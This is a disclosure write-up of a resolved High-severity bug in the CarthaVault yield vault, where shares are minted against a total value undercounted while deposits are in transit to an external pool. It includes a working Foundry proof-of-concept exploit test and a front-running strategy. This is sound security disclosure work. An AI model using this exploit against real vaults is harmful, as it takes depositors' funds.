← Writeups

Share price manipulation in CarthaVault through an in-flight deposit

The vault priced new shares against a total value that briefly dropped while its assets were in transit to an external pool. Any depositor could deposit inside that window, mint hugely inflated shares, and take value straight from existing holders.

CarthaVault is a yield vault. Users deposit USDC and receive vault shares that represent their slice of the pool. To earn yield, the vault does not sit on idle USDC: a keeper deploys it into an external 0xMarkets (0xM) pool, which is built on the GMX v2 design. The bug is in how the vault values a new deposit during the short window when its money has left for that pool but has not yet come back as pool tokens.

During that window the vault thinks it is worth far less than it really is. Because share price is derived from that value, a deposit made in the window mints far too many shares. When the assets settle and the value recovers, those extra shares quietly claim a slice of everyone else's money. It was reported to the 0xMarkets Audit Contest on HackenProof, rated High, and resolved.

The HackenProof report ZEROMARK-125 on the 0xMarkets Audit Contest: state Resolved, severity High, with M1S0 as the verified author
The report on the 0xMarkets Audit Contest, ZEROMARK-125: Resolved, severity High.

How a vault prices its shares

A vault share is a claim on a fraction of the pool. When you deposit, the vault has to decide how many shares to give you, and it does that by comparing your deposit to the pool's total value:

shares minted = deposit amount * total shares / total value locked

The important part is the divisor. The smaller the vault's total value at the moment you deposit, the more shares your deposit buys. So if the vault ever reports a total value that is lower than the truth, whoever deposits at that instant is handed more shares than they paid for, and everyone else's slice shrinks to make room.

The value the vault reports

The vault's total value comes from one function:

function _totalValueLocked() internal view returns (uint256) {
    return IERC20($.asset).balanceOf(address(this)) + _gmValueInUsdc($);
}

It adds up two live balances: the USDC the vault is currently holding, plus the current value of the GM pool tokens it is currently holding. On its own that looks right. The problem appears only when those two balances are briefly out of sync.

The in-flight window

Depositing into a 0xM pool is not instant. It happens in two separate transactions, in two different blocks, because pricing the deposit needs fresh oracle prices that a keeper supplies later. This is the GMX v2 model:

Between those two steps there is a multi-block gap. The USDC has already left the vault, but the GM tokens have not arrived yet. So for the length of that gap, both terms of _totalValueLocked() miss the deployed money: the USDC is gone from the balance, and the GM value is still zero.

The flaw

During the in-flight window, _totalValueLocked() is undercounted by exactly the amount that was deployed. The vault temporarily believes it is worth much less than it is. This is not an oracle problem: the GM price the oracle reports is correct. The mistake is internal, in how the vault values deposits made while its own assets are in transit.

Turning the undercount into theft

depositAndLock() is permissionless: anyone can call it, with no special role. It mints shares with the formula above, dividing by the undercounted total value. An attacker who deposits during the window divides by the shrunken number and receives a hugely inflated pile of shares. When step two completes and the value recovers, those inflated shares now represent a disproportionate claim on the pool, and that extra claim is paid for out of the existing depositors' principal.

Concretely, from the proof of concept:

The attacker more than tripled their money and the victim lost 450,000, with no special privileges. The inflated shares persist past the window, so the gain is realised at a normal withdrawal once the lock and cooldown pass.

Why the window is real, not a test artifact

A fair objection is that the proof of concept uses the repository's own mock for the external 0xM system, so maybe the window only exists in the test. It does not. The two-step deposit is a property of the real GMX v2 architecture: creating a deposit and executing it are always different transactions in different blocks, because execution needs fresh keeper-supplied oracle prices. PoolDeployLib.deploy performs only the first step, so the real vault genuinely holds neither the USDC nor the GM tokens for the duration of the gap.

Nor does the attack need a rare trigger. Deploying idle USDC into pools is the core, continuous job of the protocol, and withdrawals recall funds the same way, producing the same undercount in the opposite direction. These windows open routinely during normal operation. An attacker only has to watch the public deployToPool transaction and submit a permissionless depositAndLock before it executes, which a simple monitoring bot manages easily across the multi-block window. By default maxDeployRatioBps is 0, which disables the deploy cap, so the keeper can deploy up to 100% of the value and maximise the undercount.

Proof of concept

The test sets the mock 0xM oracle to a 1:1 GM price, has a victim deposit 1,000,000 USDC, deploys 900,000 without executing the deposit to model the in-flight window, then has the attacker deposit 100,000 in that window before executing the deposit and measuring each party's final claim. Append it inside CarthaVaultPoolTest in test/vault/CarthaVaultPool.t.sol and run it:

function testPocExploit() public {
    address victim   = address(0x1C71);
    address attacker = address(0xA77AC);

    // wire the mock 0xM reader + oracle at a 1:1 GM price
    Mock0xMReader reader = new Mock0xMReader();
    Mock0xMOracle oracle = new Mock0xMOracle();
    reader.setMarket(I0xMReader.MarketProps({
        marketToken: address(gmToken), indexToken: address(0xB7C),
        longToken: address(0xB7C), shortToken: address(usdc)
    }));
    reader.setMarketTokenPrice(int256(1e30));
    oracle.setPrice(address(0xB7C), 50_000e30, 50_000e30);
    oracle.setPrice(address(usdc), 1e30, 1e30);

    vm.startPrank(admin);
    CarthaVault(address(vault)).setReader(address(reader));
    CarthaVault(address(vault)).setDataStore(address(0xDA7A));
    CarthaVault(address(vault)).setOracle(address(oracle));
    vm.stopPrank();

    // victim deposits 1,000,000 USDC at par
    uint256 victimDeposit = 1_000_000e6;
    _depositAndLock(victim, victimDeposit, LOCK_DAYS);
    uint256 victimShares = CarthaVault(address(vault)).balanceOf(victim);
    assertEq(vault.totalValueLocked(), victimDeposit, "TVL = 1M before deploy");

    // keeper deploys 900k, but the 0xM deposit is NOT executed yet: in-flight window
    vm.prank(keeperBot);
    bytes32 depositKey = vault.deployToPool(900_000e6, 0);
    assertEq(usdc.balanceOf(address(vault)), 100_000e6, "vault USDC down to 100k");
    assertEq(gmToken.balanceOf(address(vault)), 0,       "GM tokens not arrived yet");
    assertEq(vault.totalValueLocked(), 100_000e6,        "TVL undercounted to 100k");

    // attacker deposits 100k in the window and gets victim-equal shares
    _depositAndLock(attacker, 100_000e6, LOCK_DAYS);
    uint256 attackerShares = CarthaVault(address(vault)).balanceOf(attacker);
    assertEq(attackerShares, victimShares, "attacker got victim-equal shares for 1/10 the price");

    // GM tokens settle, value recovers
    exchangeRouter.executeDeposit(depositKey, address(usdc));

    uint256 tvl = vault.totalValueLocked();
    uint256 supply = CarthaVault(address(vault)).totalSupply();
    uint256 victimValue   = (victimShares   * tvl) / supply;
    uint256 attackerValue = (attackerShares * tvl) / supply;

    assertGt(attackerValue, 100_000e6 * 3, "attacker more than tripled their money");
    assertLt(victimValue, victimDeposit,   "victim lost principal to the attacker");
}

The result, in raw units (USDC has 6 decimals, so 1000000000000 = 1,000,000 USDC):

[PASS] testPocExploit() (gas: 1418408)
Logs:
  Victim deposited   : 1000000000000     (1,000,000 USDC)
  Victim value now   :  550000000000     (  550,000 USDC)
  Attacker deposited :  100000000000     (  100,000 USDC)
  Attacker value now :  550000000000     (  550,000 USDC)
  Victim loss        :  450000000000     (  450,000 USDC)
  Attacker profit    :  450000000000     (  450,000 USDC)

Suite result: ok. 1 passed; 0 failed; 0 skipped

The fix

The rule is simple: never price a new deposit against a total value that omits assets that are only temporarily out of the building.

Key takeaways

  • Any vault that values shares from a live balance is exposed whenever that balance can be momentarily wrong, and asynchronous external protocols create exactly those moments.
  • A smaller reported total value mints more shares, so an undercount is not a display bug, it is free money for whoever deposits during it.
  • The two-step GMX v2 deposit guarantees a multi-block window where funds are neither here nor there. Account for in-flight assets explicitly.
  • The oracle was correct throughout. The bug was in the vault's own accounting, which is where these are easy to miss.
Share Price Manipulation DeFi Vault Smart Contract
Share on X

More writeups